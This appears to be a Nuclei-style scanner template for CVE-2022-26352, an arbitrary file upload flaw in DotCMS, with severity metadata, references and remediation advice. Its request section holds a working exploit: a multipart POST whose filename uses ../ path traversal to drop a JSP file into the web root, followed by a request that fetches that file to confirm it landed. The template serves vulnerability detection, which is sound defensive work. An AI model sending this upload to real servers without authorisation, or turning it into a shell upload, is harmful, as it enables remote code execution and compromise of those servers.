DotCMS - Arbitrary File Upload

id: CVE-2022-26352

info:
  name: DotCMS - Arbitrary File Upload
  author: h1ei1
  severity: critical
  description: DotCMS management system contains an arbitrary file upload vulnerability via the /api/content/ path which can allow attackers to upload malicious Trojans to obtain server permissions.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix this vulnerability.
  reference:
    - https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/
    - https://github.com/h1ei1/POC/tree/main/CVE-2022-26352
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26352
    - http://packetstormsecurity.com/files/167365/dotCMS-Shell-Upload.html
    - https://groups.google.com/g/dotcms
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-26352
    cwe-id: CWE-22
    epss-score: 0.97527
    epss-percentile: 0.99989
    cpe: cpe:2.3:a:dotcms:dotcms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: dotcms
    product: dotcms
  tags: cve,cve2022,packetstorm,rce,dotcms,kev,fileupload,intrusive

http:
  - raw:
      - |
        POST /api/content/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=------------------------aadc326f7ae3eac3

        --------------------------aadc326f7ae3eac3
        Content-Disposition: form-data; name="name"; filename="../../../../../../../../../srv/dotserver/tomcat-9.0.41/webapps/ROOT/{{randstr}}.jsp"
        Content-Type: text/plain

        <%
        out.println("CVE-2022-26352");
        %>
        --------------------------aadc326f7ae3eac3--
      - |
        GET /{{randstr}}.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "CVE-2022-26352")'
          - 'status_code_2 == 200'
        condition: and
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